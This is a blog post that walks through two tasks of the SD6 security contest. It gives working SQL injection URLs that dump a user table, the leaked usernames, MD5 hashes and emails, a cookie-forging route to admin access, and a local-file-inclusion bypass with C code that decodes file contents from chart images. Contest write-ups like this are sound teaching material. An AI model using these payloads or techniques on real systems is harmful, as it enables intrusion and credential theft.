OK, back to the topic! It's time to describe the 3rd task of SD6 QR.
I'll be very brief on the 3rd task, because was a standard SQL injection (not even a blind one) on MySQL 5.X, with INFORMATION_SCHEMA available for usage. In a variable dzial= ("dzial" stands for "section") there was an SQLI, which you exploited in the following way:
http://xe.securitydays.pl/zad3/index.html?dzial=3 and 0 union select 1,(select table_name from information_schema.tables WHERE table_schema=database() limit 0,1 ) --
http://xe.securitydays.pl/zad3/index.html?dzial=3 and 0 union select 1,(select COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_SCHEMA=database() and table_name=0x7363745573657273 limit 0,1 ) --
http://xe.securitydays.pl/zad3/index.html?dzial=3 and 0 union select 1,(select concat(id,0x20,name,0x20,password,0x20,email) from sctUsers limit 0,1 ) --
As one can see, there is no magic here. Few simple SQL queries got us almost to the end of the task. The last query allowed us to obtain a list of e-mails and password, which looked like this:
1 admin 279f4d9d7c0a5e40024301d04c7959ef m.niedoceniany@topsecurity
2 jnieomylny c534beb518778104480270bbcbced23d j.nieomylny@topsecurity
3 mhojna 24efc2b5af7ac8fecfcc694d523e7385 m.hojna@topsecurity
4 apropaganda 2034f6e32958647fdff75d265b455ebf a.propaganda@topsecurity (secretpassword)
5 zprzebiegla f1edec0f984fef1d681d2ce0d281618 z.przebiegla@topsecurity
6 mpomocny f39c915bc6df36e8b40eccd1975e9e50 m.pomocny@topsecurity
I'll add that Google (lately it's my favorite MD5 cracker) known only the hash of user apropaganda, which was equal to md5 of 'secretpassword', which one could use to login into the system. However, the task was to access the admin account. And here appeared a vulnerability (if I remember correctly a similar vuln was found in the past in PHPBB) - mainly in the cookies were stored user/pass/id of the logged in user, where the password was really an MD5 sum of the password. Since the things we got from the SQL table were the things we needed, one just had to substitute the values in the cookies with user/pass/id of the admin user. Click, reload, and the task is done.
Onto the 4th task. Imho it was great, and I can say that (imho ofc ;>) it was the most interesting task on SD6.
The scenario - same as always - there is a website of a fictional company Top$ecurity, and one had to get into the administrator panel.
It was hard to decide which way to go at the beginning, since many vectors of attack occurred, and most of them were a dead end. The correct vector of attack was one of the new subsections on the site with charts of the financial results of the company in past years. Such chart looked like this:
And it came up that the chart was generated by a PHP script zysk_gfx/plot.php ("zysk" is "profit") with a parameter year= that had been given a year, like 2003, 2004, etc, and it generated a chart using the data for the given year. I must admin that the year parameter was the last place I checked for an LFI (a standard LFI checked - inserting ./ before the parameter), and it came out that there is in fact an LFI here - 2003 etc were just file names with no extension. Each file was 231 bytes long, and had contained raw data (as in "binary" - one byte - one value) for the chart.
Using this LFI you could access any file. Hoooowever... there were two problems. 1st - you could read up to 245 bytes, and not a byte more. 2nd - the file will be drawn as a chart ;>. Luckily, the chart was precise, so writing a small program that reads a chart and writes out text on stdout will do the job.
For example, the chart of 'admin.php' file (I've guessed the name of the file) looks like this:
I took the chart, converted it into .RAW (naked bitmap format, no headers, just pure RGB data), and thrown it into a badly written application that gave me the text. The application code looks like this:
#include <gynlibs.cpp>
#pragma pack(1)
struct RGB { unsigned char r,g,b; };
LONG_MAIN(argc,argv)
{
unsigned char *data;
data = FileGetContent(argv[1], NULL);
RGB *rgb = (RGB*)data;
int start_x = 22;
int start_y = 276;
int i, j;
for(i = start_x; i < 500; i+=2)
{
for(j = start_y; j > 0; j--)
{
if(rgb[500 * j + i].r == 255 &&
rgb[500 * j + i].g == 0 &&
rgb[500 * j + i].b == 0)
{
putchar(start_y - j + 1);
break;
}
}
}
return 0;
}
As one can see, I didn't even check if argv[1] is not NULL, but whatever. I've used a library called gynlibs.cpp, which is one of my libs containing various strange functions. It's badly written, but still pretty handy. If you are interested, you can download it here (let's say it's public domain.. there is no magic there anyway).
The above code fed by a RAW file produces the following script:
<?php
if ( ! isset($_POST['login']) || ! isset($_POST['password']) )
{
header("Location: ../");
}
$userName = "marcin";
$md5Hash = "87f75ce3f908a819a9a2c77ffeffcc38";
if ( $_POST['login'] != $userName || md5($_POST['password'
The above hash is md5('compiler') (Google found it). As one can see, it's enough to prepare some POST form, and the task was done.
As one can see, it was not really super difficult (and good, that day I had like 3 hours to break both tasks before leaving with Borys for the SekIT conference... luckily I've managed ;>), however it still was very interesting and uncommon ;>
The next post will probably be about SekIT 2008, and later I'll get back to describing the SD6 tasks (there is still task 5 and 6 left from QR, and the tasks from the finals).
OK, thats it ;>
Add a comment: